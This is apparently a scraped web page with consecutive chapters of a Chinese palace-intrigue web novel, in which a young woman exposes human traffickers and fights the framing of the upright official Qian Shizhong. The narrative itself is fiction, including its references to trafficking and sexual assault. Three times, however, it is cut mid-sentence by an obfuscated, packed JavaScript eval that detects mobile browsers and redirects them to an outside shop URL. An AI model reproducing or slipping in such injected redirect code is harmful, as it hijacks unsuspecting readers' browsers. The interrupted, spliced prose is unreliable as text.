江桃愣了一瞬,忙撇开她的手,气冲冲地走出厢房。 曲霜姿在原地站了良久,随后缓缓蹲在地上,失神喃喃道:“阿娘说过,不要PUA自己,我没有多管闲事……” “我只是太想有个爹爹了。” 但余肃终究不是她的爹爹。 — 余千帆和乐知打闹着进了厢房,正看见曲霜姿坐在桌边失神,二人双双呆住、不知所措。 乐知眨巴眨巴眼睛,小心翼翼地问:“霜姿?怎么了?” 余千帆则是火冒三丈,“是不是那个女人欺负你了!?我就猜她是个坏女人,我的小厮前不久还看见她偷溜进了叔父的房间。” “我之前就觉得奇怪,她一定是趁着叔父醉酒才有的孩子!” “要是真的两情相悦,怎么可能如此鬼祟!”余千帆义愤填膺,他安慰曲霜姿:“没事没事,大不了我再多在这少家主位置上坐会儿,不碍事,我不辛苦!” 乐知无语地瞥向他,不禁思忖:男子都是这般自恋吗?霜姿小姐明明就不是为了他而烦恼,是为了那位更成熟、更有魅力的余叔叔! 曲霜姿呼出一口气,眸子终于晃了晃,“没有,她没有怀孕。” “没怀孕不才好办吗?时间久了她自会暴露的。”余千帆乐观,觉得这压根不算什么事。 乐知噘噘嘴,“霜姿,咱们慢慢想办法嘛,我陪你去街上逛逛好不好?” “嗯。” 二人别了不懂少女心事的傻木头余千帆,牵着手去街上晃悠。乐知一个劲儿地想办法逗曲霜姿开心,可是曲霜姿看斗鸡不欢喜、吃糖葫芦不欢喜、遇到曾帮过的百姓还不欢喜。 她们晃悠晃悠,就又到了曲霜姿买下乐知的地方,乐知感慨万千:“我当时是最听话的一个,老实本分,这才少挨打少挨饿,但却以为自己一辈子都是奴隶命。” “多谢霜姿小姐救我。”她弯了眉眼,又露出两个甜甜的酒窝。 曲霜姿盯着那一堆形容狼狈的奴隶,皱皱眉头、嘴巴抿成一条线,“乐知,你是那人牙子拐来的吧?” 乐知点头应是。 “那其余人呢?” 闹市之中,人牙子得意地扬着鞭子耍威风,那些奴隶都被铁链子拴着,个个衣不蔽体、灰头土脸,甚至是伤痕遍体。 而这些人当中有老有少、有男有女,最小的竟然是个四五岁大的稚子。 多少人重金求子都不成。 要说乐知是因为失去双亲才让人牙子有机可乘,那这个小男孩也是凑巧没了父母?这些人的数量只增不减,卖出去一个又会补进来好几个,难道在这大安盛世有这么多人因为无依无靠,就被拐来了? 可这群人中不乏有正值壮年的,曲霜姿越想越怪,“乐知,那你知道其余人是怎么到了那人牙子手下的吗?” 乐知摇摇头,“他们不许我们说话,虽然我总忍不住,但是和我年纪相仿的女子怕他们怕得要死。” “那男子呢?” “男女是分开关的,那些男子有的聋哑、有的残疾,我也害怕。”乐知缩了缩脖子,她察觉到人牙子看了过来,连忙躲在曲霜姿身后,她拉拉曲霜姿的手,胆怯道:“我们走吧。” 曲霜姿叹惋,但也只能无可奈何地离开。 然而正当她转身之际,听到身后有雄厚的男声严厉质问:“他们是狗吗?要被你这样拴着!” 何处来得好汉? 曲霜姿闻声惊喜回头。 男人不像好汉,看着文绉绉的,一把胡子已然花白,穿着只是盛京最常见的样式,但眉宇之间透出正气。单凭这一点,曲霜姿就觉得他不同寻常。 “我认识他,”曲霜姿正疑惑此人是谁,身旁的乐知却轻轻开口。 “哦?” “之前在巴郡见过他,来了盛京后也见过,他好像是什么大官,一直想要救我们,”乐知眼神中饱含敬意,“他是个好人。” “那我过去看看,你先在此地等我,或是先回府去。”曲霜姿知道乐知心中对人牙子的恐惧还未消除,只怕是多年难以释怀,便叫她先回去。 乐知却咽了口口水,坚毅地摇摇头,“我同你一起。” “我乃户部侍郎钱世忠,你携同伙略卖人口、并从中谋取暴利,如今在天下脚下仍旧肆无忌惮,你该当何罪?”男人掏出令牌,哪怕并未带随从,面对人牙子一伙人也丝毫不退让。 人牙子中,一个像是头头儿的站了出来,斜着眼道:“你以为圣上不知道吗?我们光明正大做生意,给朝廷的税可一分没少。” 钱世忠不信有朝堂默许,怒目圆睁,“你放不放人!” “给钱就放啊,有本事您这位大官就像从前一样,把他们全买了。”人牙子言语挑衅,根本不把钱世忠当回事,想来也不是第一次和钱世忠对峙了。 “再说了,您一个户部侍郎,也管不着我们这些按时上税的良民吧。” 钱世忠上了年纪,在原地粗喘着气,他正再欲开口争论,抬眼却看见了熟人。而这人曲霜姿和乐知也识得,正是大理寺那位来无影、去无踪的少卿大人——贺卫。 贺卫假把式地摸着自己的佩剑,笑吟吟地走上前来,“钱大人,这种事还是交给贺某管吧。” 这话听起来古怪,但钱世忠见了大理寺少卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711888|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这才佝偻着背放心地走了。 曲霜姿和乐知对视一眼,立马躲到了隐蔽处继续观察。贺卫在钱世忠面前装得刚正不阿,钱侍郎一走却只是凑近那人牙子,居然还算和颜悦色地叮嘱了几句,随后慢悠悠地离去。 好啊,贺卫就是这样管事儿的!倒看着像是和那群人牙子是一伙儿的,曲霜姿想起人牙子趾高气扬的那几句话,立即心生怀疑。 难不成,朝廷真的知道民间有做此种买卖的,还放纵他们不管? 她正想和乐知讲自己的猜测,下一刻竟看见了钱世忠折道而返。 他一见人牙子吆喝得更响亮了,脸色登时暗沉了下来,不可置信地看着人牙子,“你、你们!” 人牙子睨他,“这下信了吧,钱大人,您还是不要多管闲事得好。” 这怎么叫多管闲事!曲霜姿被这句“多管闲事”戳痛,怒不可遏地冲了上去。她拦住钱世忠要掏钱买下几个奴仆的手,极力劝阻:“大人,如此治标不治本啊。” 钱世忠被突然冒出来的女孩惊了一跳,手都哆嗦起来,声音沧桑道:“只是人我不得不救,实在不能坐视不理。” “哪怕是无用功,也算是解救一条性命。” 曲霜姿一怔,只能任由他付了钱,看着钱侍郎将几个人带到一边,给了他们些钱财,便放还其自由。 那些人纷纷跪倒在地,磕头拜谢。 人牙子黄鼠狼似得两眼放光,津津有味地沾着唾沫数钱,那是一脸的春风得意。 曲霜姿再转头时,钱世忠已经远去,残阳落在他身上,照得他如萧索的枯叶,仿佛稍经风吹雨打就要落了。 钱世忠当真是位好官啊。 可为什么,二皇子竟然让她和沈无逆查钱世忠,这样一心为民的好官又怎可能会卖官鬻爵、贪污公款? 二皇子此行,反而不像是查案,更像是赤裸裸地污蔑! 少女敛眉,她不敢相信自己心中的猜测。她原是不懂这朝堂上的尔虞我诈,却知何为有得必有失,二皇子失去了一位三品大官,便设计害另一名三品侍郎,也不是不可能…… 可倘若真是如此,如果人牙子略卖人口是朝廷默许,如果手握大权、主宰生死之人一心为了名利。 曲霜姿不敢继续深入地想,她不敢想象那这大安繁华表面下的是何等的腌臜丑陋。那么所谓富贵迷人眼,是真的在富贵险中求间迷了眼睛,也迷了心。 然而是否如她猜想一般还未可知。 曲霜姿目光移向乐知,轻声问道:“沈无逆最近查的案子,是不是就是关于钱侍郎的?” 乐知方才大梦初醒,小脸顿时褪去了血色,“对啊,他就是新任的钱侍郎,他就是钱侍郎。”女孩浑身发抖,转身紧紧拉住曲霜姿的手,她眼中含泪,“霜姿,不可能的、不可能的。他一定是个好人,他还救过我……” “他是除你以外,我的第二大恩人呐。那罪名是杀头的大罪、霜姿你一定要救救钱大人。”她作势就要给曲霜姿跪下,叫曲霜姿废了好大的劲儿才拉住。 “你别急,先说清楚,他救过你?” 31. 阳灵赫重辉 乐知呼吸滞住,眼底像是冰面般层层破碎,散出痛苦的弧光,她淡淡的双眉已然拧作了一团,身形摇晃几乎要站不住。 女孩儿颤抖着长长吐出口气,眉头的结忽得散开了,“之前那群人牙子里,不乏好色之徒。” “略卖来的女子,但凡有出彩之处就会被卖给青楼或是大富人家,其余的女子都惨遭他玷污,甚至有好几个不堪受辱自裁了。” 曲霜姿胸中一窝火燃得更盛,“什么?” “‘因为若是卖给人当奴隶或是给光棍当老婆,残次品就够了。’”乐知失了神一样,麻木地一字一顿地重复从前人牙子的话。 “我之前年纪小,那老大不许他们欺负我,可是后来有一个又高又壮的独眼龙,他……”乐知说不下去了,难以自持地掩面痛哭,眼泪从指缝中淌出来,弄湿了曲霜姿欲帮她揩泪的袖口。 “是钱大人救了我。” 曲霜姿轻言安慰:“不是的,贞洁对女子来说算不得什么,不是女子的错,也不会因为失了贞洁就沦为残次品。” 她咬牙切齿,“全是那些猪狗不如的畜生的错。” 瓷器精致美丽,人人想要爱抚把玩,但若是瓷器因此受损,难道却反而成了瓷器的错? 天下没有这般道理。 曲霜姿回头看了眼那些个人牙子,带着乐知匆匆离开,她一双黑眸暗淡无光,宛若深渊巨潭,要把人吞下去似的,“姐姐给你报仇。” 夜里回府,曲霜姿直奔沈无逆的卧房。 她太过急切,冒失闯入都火急火燎地奔向内室,却见到了男人光裸脊背的香艳场面,但脊背上还有几道可疑的痕迹。 沈无逆飞快扯过架子上的衣服披在身上,不虞地背过身去,“你这是要作甚!” 曲霜姿咽了口口水,忍不住回想方才的场面,她疑惑地问:“你受伤了?” 沈无逆闭眼嘴硬,不动声色地又把衣服往上拉了拉:“是你看错了,你到底有何事?” 曲霜姿觉得自己眼里一向好,不应该看错,但眼下还是钱侍郎及略卖人口的事情比较紧急,“我就是想来问你,二皇子交代的案子你办得如何了?” “有乐知协助,事半功倍,不出意外三日后就能结案了。” “什么!”曲霜姿讶然,“你确定这案子没问题吗?我是越想越不对,要是有证据、有证人,又何须咱们大理寺查案?” “这其中是否有什么误会?”她忙除去乐知受辱的部分将今日遭遇一字不落地讲给沈无逆听,“我看那钱大人也不像穷凶极恶之人啊。” 沈无逆面色铁青,一滴滴水珠从他脸上滑落,身上的水珠滴在地板上,发出沉闷微小的声音,但由于沈无逆的沉默,屋里太过安静了,曲霜姿听得一清二楚,反而被这微小的声音惹得更加烦躁焦急。 “你说话啊,你到底怎么了?” “此案——”沈无逆声音闷闷的,带着点沙哑,他继续道:“由二皇子钦点,决不会有任何差错。” 曲霜姿最喜刨根问底儿,她绕到男人面前追问:“你这些日子都一一查证了吗?” “是。”沈无逆又背过身去,“你这几天如此散漫,全靠着乐知帮我,现在案子即将告破你却怀疑我查案不力?” “我不是这个意思。”曲霜姿连连摆手,但下一秒,她察觉出了不对,乐知分享欲望也强,每日多是干些收拾整理的杂活儿,怎么到了沈无逆嘴里就变成了“全靠乐知帮我”? 她咬了咬牙,又要追问,却被沈无逆当机立断下了逐客令。 — 曲霜姿辗转反侧都未入眠,乐知的房间与她一墙之隔,她实在心中难安,好像能听见少女的哭声似的。 这该死的世道。 不知夜深几何,曲霜姿终于沉沉睡去,然而再一睁眼,所处就大变了样子。她原本该是在床上,而不是地上,而且这个屋子昏暗无光,应该是府里哪个库房。 她腰酸背痛地爬起来,正看见一旁郁郁寡欢的乐知。 乐知见她醒了惊喜道:“霜姿,你终于醒了。” “我们怎么在这里?”她头晕脑胀的,似乎又被人砸了脑袋。 “我醒来的早,听见外面有人声,听起来像是白术。”乐知压低声音,听了听外头的动静,她继续道:“他好像是在和沈公子说话,说一定会看好咱们。” 曲霜姿眸色一沉,暗骂道:“又叫沈无逆那混蛋绑了。” 昨日她是打草惊蛇了,沈无逆心中必然有鬼,他早猜到曲霜姿会看出端倪来,所以这些日子才放任她去帮余千帆。 没想到沈无逆是这样的人,她咬咬牙,一时气盛直冲墙面砸去,然而她太过冲动,把自己疼得龇牙咧嘴。 乐知忙摸摸她的手,轻轻吹了几口气,“哎呀,你砸东西也行啊,都不疼的吗?” 很久没有人关心曲霜姿会不会受伤了,曲霜姿眼睛一酸,大脑也因为这一砸变得清明,“我没事,你相信我,我必会救钱侍郎的。” 她面色凝重,思忖半晌,“乐知,你在大理寺有没有听过案情相关的事儿,什么都行,多小的事儿也可以。” 乐知眼含热泪、嘴唇煞白,努力逼自己冷静下来思考,“听说有证人、有证据……沈公子说此案万无一失、不会出什么差错。” “证据,好像证据有一个什么书信,说是别人写给钱侍郎的。”饶是她自责又焦急地绞尽脑汁,也再想不出什么了。 曲霜姿只恨自己当时没有仔细看看那文书,但是困在这里什么都不做并不是她的风格,不到穷途末路,她绝不放弃。 她四下观察,透过后窗很快判断出了这间库房的所在,是在后院,从这窗子翻出去应该就能到后墙。 曲霜姿攒眉,语气严肃,“乐知,我送你从后窗爬出去,你去找……”她后知后觉地想起,自己轻信沈无逆,入京几个月也没有多少可以信赖的人。 她只能赌一把,“找林寻雁。” 余千帆和大理寺无关,不能把他牵扯进来,余肃叔叔也正身陷囹圄,曲霜姿不敢再麻烦他。 乐知粉唇微启,倒吸一口凉气,声音带上了哭腔,“那霜姿你怎么办?” “这窗子只有一人踩着一人才能上去,你这小身板能撑得住我吗?”曲霜姿故作轻松地逗她,乐知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711889|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比她小一岁有余,虽然不是娇养的小姐,但终究只是个小女孩儿。而曲霜姿至少从小体魄强健、还学过些武艺。 曲霜姿咬紧牙关,有些吃力地站直身体,双腿微微颤抖,但她还是一次次挺起脊梁,让乐知站得更高更稳。 “躲着沈无逆,找到林寻雁后让她帮忙看看那书信所用纸张,材质做工内容,细致描述就好。” “告诉她,我不会牵扯到她,若是她肯帮我,未来定会尽我所能地答谢。” “稍有不对你就跑,躲起来,不用管我。” “后墙有草垛,你小心些爬。” 她最后叮嘱,乐知泪水不住地涌出,几番不舍回头才鼓起勇气跳了下去。 — 曲霜姿坐在原地闭目养神,试图理清脑海中的杂乱。 一连两日都没怎么进食,曲霜姿胃痛难忍,像是有人在她腹部掏着玩,胃酸涌上干涩的喉头,就在她觉得自己几乎要昏厥过去之时,她终于等来了人。 脚步声伴随着人声。 曲霜姿忙撑起身子,躲在门后。 是白术和乐知的声音。白术像拎着一个小鸡崽子把乐知丢了进去,“你们居然有本事逃出去,真是不识抬举,我回头找人把你们绑起来,绑在暗无天日的屋子里,看你们如何逃!” 他的话如同吓唬小孩儿,乐知丝毫不怕,反而气鼓鼓地瞪着他。 白术扫了扫屋子,没看见曲霜姿,顿时慌了神。 站在门后的乐知一看曲霜姿的眼神,眼疾手快地关了门,随后和曲霜姿一齐朝着男人扑了过去。 曲霜姿下意识想摸怀里匕首,突然想起来她的“长绝”已经到了沈无逆那王八蛋的手里。她骂了一句,一记手刀猛得劈了上去。 白术好歹是常年习武,虽总看着缺一根筋,但身体上的动作可不慢,一手刀没将他劈晕,他迅速转身擒住曲霜姿的手腕儿,另一只手已然搭在了剑上,但有乐知阻碍,始终没能拔出剑来。 曲霜姿勉强和他过了几招,很快就落了下风,多亏乐知聪慧过人,挑准时机跳到了白术背上,勒住了白术的脖子。 白术腹背受敌,被乐知勒得直翻白眼。 曲霜姿趁势拔出剑来指向白术,白术没料到自己能被两个小女子逼到这地步,许久没被反着光的利剑指着,他没忍住咽了口口水。 他想要找机会夺回剑,对上曲霜姿的视线却一下子愣住了,少女眸光坚韧,滚烫得像是把天上的太阳抢了下来放在了眸子中。 阳灵赫重晖,四达何皎皎。 和入京时初见的那个少女已经很不一样。 曲霜姿身材拔高,褪去了不少稚嫩,身上也有了一股和沈无逆类似的威压,但又和沈无逆那份阴郁全然不同,更加坦荡赤忱,大有毫无畏惧,要收收万物于囊中的气势。 白术这一愣,曲霜姿已经反手将剑刃调转了方向,挥拳而上,让他彻底失了意识。 曲霜姿腿一软,粗喘了几口气,但很快她嘴角浮起抹得意的笑容。 她阿娘曾教给她,击打人鼻翼至两侧眉弓中点可致人昏迷,这还是她头一次实践,果然没错。 32. 臣不得不死 “怎么样?”二人刚刚逃出去,曲霜姿就迫不及待地问道。 “林姑娘人还是好的,我只说是你遇上了困难,她就毫不犹豫地答应了。”乐知还是紧张,眼神慌乱地四处嫖。 “她看了,那纸张材质都极为普通,和盛京常用的纸没什么不同。” “这就是最大的问题,”曲霜姿斩钉截铁,“林寻雁家境优渥,常年生活在盛京城,所以她觉得那纸普通。”她反问乐知,“你来了盛京有一阵儿了,盛京的纸张比起其他地方的如何?” 乐知恍然大悟,盛京城的纸自然是上佳的,可各府州县除了达官贵人亲自派人来盛京购置,否则不会有这样材质的纸张。 钱侍郎位居高官,仍穿着朴素,又怎么会在纸上下这样的功夫。 “所以这纸定是后来伪造的。”乐知激动不已,突然就有了希望。 曲霜姿仍旧面色凝重,“但是有不对,沈无逆向来警惕,证物又怎么会轻易让林寻雁看到。” “大理寺内我能说的上话的人也只有她了,沈无逆一旦察觉,就会发现咱们逃了。” 乐知吓出了颤声,“那、那怎么办?” 今日之前,她都以为沈无逆如传闻中一般温柔善良,现在却觉得像是什么神秘恐怖的怪物。 “你我二人兵分两路,沈无逆肯定会着重抓我,我去找余千帆,你去告知钱侍郎。我到时候来接应你。” 对!她们今日所为全都是为了救她的恩人,乐知眼神坚毅起来,没那么害怕了,她很快应下随后和曲霜姿分开了。 曲霜姿去了余家客栈,直接了当地挑明要见他们家少家主,幸亏余千帆提前和客栈知会过,否则她怕是要被赶出去了。 余千帆被她带来的消息搞得热血沸腾,曲霜姿莫名其妙,她本是不得已才求助余千帆,没想到少年会是这样的反应。 “维护正义、扫除奸邪可是小爷我的人生理想!” “你的梦想不是‘愿我是我’吗?”曲霜姿无奈道。 “不知为何,和你相处总觉得畅快极了,仿佛愿望已经要实现了般,所以就提前追求人生第二理想喽!”余千帆不好意思地摸摸鼻子,但那份羞赧很快一扫而空,他眯起眼睛,“说吧,我能帮你什么?” “帮我藏个人,要是沈无逆找来就说从来见过我。” 余千帆了然地总结道:“就是把你和你的人都藏起来呗。” 曲霜姿估摸着时间,猜想若是没有意外,乐知和钱大人也该在路上了……曲霜姿心中难安,她忽然意识到:比自己更危险的是钱世忠,沈无逆要抓自己不假,但沈无逆是为了钱世忠才要抓她。 她暗道不好,火急火燎地冲出了客栈,嘱咐余千帆道:“等着,要是沈无逆带兵硬闯,你就让他进来,别说见过我就行。” 余千帆看着她远去的背影,拳头不由得攥紧,一颗心也跟着提了起来。 — 曲霜姿打听到钱府所在后匆匆赶去,远远就看到沈无逆带着大理寺的捕快们围在大门处,她一咬牙,纵身翻墙进到了后院。 乐知正在苦口婆心地劝钱侍郎。 钱世忠面如死灰,嘴角牵起一抹惨淡的苦笑。突然来个有点眼熟的小姑娘喊他恩人,说是来救自己的,他确实有点摸不着头脑,等到乐知努力道清事情原委,他便愕然了。 起初是不信的,可少女目光恳切诚挚、言之凿凿不像假话。 再后来,就是大理寺的寺正带人围了他这小破宅。 他再不能不信了。 曲霜姿和乐知对视一眼,随后转头看向有些沧桑的男人,她不解问道:“大人为何不逃?” 钱世忠对她有些印象,他抿抿唇,几番张口欲言却如鲠在喉一般,最后只是沉重地摇了摇头。 “现在走还来得及,我带你们从后墙走。” “小姑娘,我走不了了。二皇子指使、大理寺抓人,我一把老骨头了,折腾了不起了。”男人摆摆手,眼神浑浊地打量曲霜姿,“小姑娘,你为何要帮我?” “此事还有挽回的余地,我不愿大人您遭遇不公,不愿天下忠臣寒心。”她俯身拱手,不卑不亢。 钱世忠想笑,却实在笑得难看,“你像年轻时的我,不,你比年轻时的我看着更加果决聪慧。” “但这话……”男人顿了顿,沙哑着嗓子道:“太冠冕堂皇了。” “有一句话说得好,君要臣死,臣不得不死,”钱世忠连退几步,瘫软到椅子上,老牛般粗喘几口气,“活得越久、看得越清楚,这盛京城并不像表面那样看起来光鲜亮丽。” “反而像是,吃人的魔窟,每个人都想要填饱肚子,想要吃更多的人,”钱世忠微微抬了抬胳膊,在空中划了半圈,“久而久之,同类相食,吃人的人就变成了魔物,被吃的又看不出来,要么跟着魔物吃人,要么被吃。” 他苦笑一声,“我坚持了一生的信仰,破灭了,我也无望了、累了。” 钱世忠闭目沉息片刻,缓缓半睁开了眼:“你们走吧,不要被我牵连。” 已有捕快冲了进来,曲霜姿无可奈何,拉着依依不舍的乐知就要翻出去。然而身后的乐知还没完全爬上墙,她就感觉曲霜姿愣住了,紧接着她听见阴冷的男声:“曲小姐还真是翻得一手好墙。” 听得她顿时打了个寒颤。 钱世忠曾为除匪呕心沥血,为护佑百姓妻子儿女皆被土匪绑去残忍杀害,故他早就了无牵挂、孑然一身,坦然地被捕快押走了。 正因为此,捕快才没围了后院发现二人。 曲霜姿朝下瞥去,给乐知做了个口型,“藏好。”她牙尖嘴利、毫不客气地回应沈无逆,“沈寺正也真是好手段,明知有冤情却还执拗不放。” “我且问你,那信可是人伪造的?纸张该是前不久刚在盛京集市上买的吧,各州县可没有这样的稀罕玩意儿。” “胡言乱语,”沈无逆目光冰冷,盯着她不放,但他其实是心虚的,他没在州县呆过,不知道曲霜姿说的是不是实话,这证物也是二皇子准备的,难免百密一疏。 曲霜姿飞身下墙,抢了匹马就奔腾而去。沈无逆见钱世忠已伏法,便追着曲霜姿不放,坚决要控制好她,不再让她坏二皇子的好事。 少女终于走投无路,弃马飞奔也还是被逼进胭脂铺那条死胡同里,她想到入京以来的种种,心凉了半截。 她皱眉往后退, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711890|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “沈霁明,你原不该是这样的。” “没人能决定我是怎样的。”男人面无表情地回应,持剑靠近。 “我以为你和我志同道合,所以选择相信你,做了你的小吏,”她痛心疾首,却不得不逼自己接受现实,“我以为你被二皇子蒙骗利用,没想到你们蛇鼠一窝,是我看错了你。” 沈无逆被戳痛,咬牙切齿道:“那你呢?你从不考虑别人,冲动蛮横就是你的一贯作风!要是没了我你连大理寺的门都无法踏入,你又有什么资格说我?” “是,”曲霜姿皮笑肉不笑,“但你也无法决定我怎样行事、决定我怎样活!”她突然毫无畏惧地朝着男人走过去,直勾勾地盯着沈无逆直叫他心中发虚。 他正奇怪于曲霜姿的异样,身后突然传来空气被划破的声。沈无逆连忙侧身躲过两发暗箭,手臂被划开了口子,他闷哼一声,回头反应过来时曲霜姿已经跑到了来人身边。 是余千帆及其府兵。 曲霜姿翻身上马,居高临下地看着他,眼中满是不屑,“你我从今往后,桥归桥,路归路,我也不会再踏入大理寺的门,你好自为之。” 话罢,决绝而去。 沈无逆想追,心却狂跳不已,致使他心口隐隐作痛,再踏不出一步。 — 是乐知在逃回客栈的途中撞上了担心她们二人安危的余千帆,也算来得及时。 余千帆亲耳听见少女的狠厉之词,不免替她担忧,“曲霜姿,你真的想好了?你可是好不容易才进入大理寺的。” 曲霜姿从恍惚中回过神,“维护正义之地尚且如此,我也没有继续呆下去的必要了。” “那接下来你要怎么做?人还救吗?”余千帆攒紧眉头,担忧地看向眼眶红红的乐知,他对曲霜姿低声道:“人都进了大理寺的地牢,这可比登天都难啊。” “不到最后绝不放弃。”曲霜姿长呼一口气,一字一句道:“至少要再麻烦林小姐了。” 早上被乐知拜托帮忙查看证物时,林寻雁就察觉出不对,后来钱府的事她也有所耳闻,没等曲霜姿亲自求她,她就自己找上门了。 她负剑立在门旁,眉宇间有股侠气,“曲姑娘,这到底是怎么回事?” 曲霜姿一五一十地将此事来龙去脉告知于她,林寻雁骇然,“怎么会有这样的事?” “上次王云廷的案子不也类似?涉及权贵就想草草了事。” 林寻雁茫然片刻,还是不得不承认事实,这大理寺确实和她心目中的大相径庭,但她很快正色、肃然道:“我愿意帮你。” “大恩不言谢,未来林小姐有任何需要我的,我必义不容辞。”曲霜姿知晓自己没有看错人,郑重鞠躬道谢。 “不用,你借给我那样举世无双的好书,该是我谢你,”她虽仍面无表情,眼神却无从前那般冰冷,“况且大安发生这样的事情,我也无法坐视不理。” 再退一步讲,她父也是大官,若是有朝一日也因为卷入朝堂争斗而蒙难,又该当如何呢? “我来时细细看了那文书,以及这些天的办案记录,觉得有个人或许可以成为突破口。” 曲霜姿惊喜问道:“何人?” 33. 先下手为强 曲霜姿和林寻雁重返钱府,府上人去楼空,院子里一棵枯树被秋风吹得嘎吱乱响,给人以萧索之感。 来救人的时候曲霜姿就纳闷,这府上怎么连个丫鬟侍从都没有,而文书记录——此案关键证人之一便是钱世忠的贴身侍从,据说是跟了他十几个年头。 此人虽关键,但却算主动揭发钱世忠,大义灭亲,问讯结束后应该就被放回了,那么此人去了哪里呢? 二人抱着这样的疑惑潜入府邸,正巧碰上了正翻箱倒柜的老仆,男人行迹鬼祟,见来人撒腿就跑。 林寻雁一身好武艺,轻易把人拦住了,她举剑逼问:“你为何行偷盗之事?” 老仆吓得腿都软了,去大理寺几遭已经被吓得不轻,他双膝一软跪在地上恐慌道:“小人没有啊,这是小人自己家、自己家啊。” 曲霜姿冷哼一声,“这里是钱府吧,怎么就成了你的家?” “两位女侠,我跟了钱大人十几年啊,这儿就是我的家啊。” “你也知道你跟了钱大人十几年,”曲霜姿嗤笑道:“那又为何背信弃义? 她言辞犀利、眼神中似有熊熊火光,“我看你衣着与钱大人无异,甚至更甚一筹,他该待你不薄。” 然而卑躬屈膝、胆怯如鼠的男人一听这话顿时硬气地从地上爬了起来,双目圆睁、表情狰狞地吼道:“待我不薄?我的月俸不及盛京其他仆从的一半,我又如何养家糊口!” 盛京奢靡曲霜姿一向知晓,一个大官家中的女婢,月俸都比她从沈无逆那里领到的三瓜两枣多。 林寻雁疑惑地问:“怎可能?他一个二品大官俸禄并不少。” 曲霜姿摇摇头,“盛京大官生活优渥,仅仅靠官俸是不够的,林小姐家中应该也有旁的产业吧。” 林寻雁一愣,她和家中关系紧张,平日里也不管什么产业,如今想来倒确实如此,“但给下人发月俸的钱总该够吧。” 老仆冷哼,五官都气得扭曲,“他宁愿把钱散给百姓,也不愿意给我!” 这话一出,二人反而明了了,钱世忠生活拮据,却总是救济贫困的百姓。至于这老仆的俸禄,想来是钱大人从地方上任不久,就像初来盛京的曲霜姿一样,还不知道这里所谓的规矩;再者,怕也是真的捉襟见肘。 “所以你才记恨他,”曲霜姿沉声替他总结,“所以你才会诬陷于他!” “你如今又是在干什么?”她斜眼看向散落一地的银钱,甚至还有两个花瓶,这是想钱世忠再不会回来了,所以把能偷得都给偷了。 老仆被吓得魂都掉了,只是一个劲儿的重复“我没有”,也不知是狡辩自己没有偷东西,还是说自己没有污蔑钱世忠。 但已经不重要了,林寻雁的两个随从将他押了下去,二人唏嘘地看着满屋狼藉,默契地说不出话来。 “他对钱大人怀恨在心,所以才被人利用,可惜钱大人一生乐善好施,居然遇上这么个不忠不义的仆从。” 林寻雁叹气,“但我们还是没有实质性的证据。” “没事,”曲霜姿轻声道,像是在安慰林寻雁,又像是在安慰自己,“不是还有其他证人吗?虽然沈无逆还没查,但我们可以先下手为强。” “在邬州和钱大人共事的同僚?沈无逆不是已经查过了吗?”林寻雁后知后觉地瞪大眼睛,“你说的是向他买官之人?文书和记录中确实没有提到这一号人。” 曲霜姿点点头,“我猜是一时没挑好收买对象,或是对方不愿意与他们同流合污,所以才耽搁了。” “但此案要盖棺定论,却唯独少不了此人。”林寻雁接着她的话往下说。 “对,沈无逆说这几日就结案,所以人应该已经安排好了,只是不知此人是哪位官员,又身在何处……”曲霜姿苦恼道:“这样的人可不好找啊,谁会承认自己的官是买来的呢?” “一定是经过了威逼利诱。”林寻雁道。 “还有一事,我觉得奇怪。” 林寻雁疑惑地看向曲霜姿,“什么?” “沈无逆昨日回来时似乎是受了伤,我以为是我看错了,但如今想来,若是子虚乌有那他也不会那么紧张了。” 住在一起,还能看见对方身上的伤口,林寻雁忍住心中困惑,忖度后眼睛一亮,“昨日,沈无逆被公主府的人请去了,回来时面色就不佳,很快就离开了。” “公主?” “是大皇子一母同胞的姐姐,三年前嫁给了相府的大公子。”林寻雁见曲霜姿还是云里雾里的模样,无奈换了种说法,“就是霍迁的兄长。” 霍迁那副不可一世的样子,林寻雁仅仅是提了就晦气。 “公主打的啊,”曲霜姿沉思半晌,挤出一句,“打得好。” “所以是因为大公主支持自己的弟弟,所以不想让沈无逆查此案牵连到大皇子?” 林寻雁:“应该是。” “那咱们能找大公主合作吗?”曲霜姿挑了挑眉,征求林寻雁的意见。 林寻雁没想到曲霜姿胆子这样大,虽然她和大公主温孤涵关系不错,但是要她牵扯进皇室之争,那是唯恐避之不及。 曲霜姿看出她顾虑,了然一笑,“没事,我自己去碰碰运气。” “你只需告诉我公主府所在就好。” 曲霜姿这运气碰得居然真的有了收获。 她远远看着几只信鸽从公主府里飞了出来,立马想起她阿娘教过吸引鸟类的方法,随意掰了买来当午餐的馍高高举起。 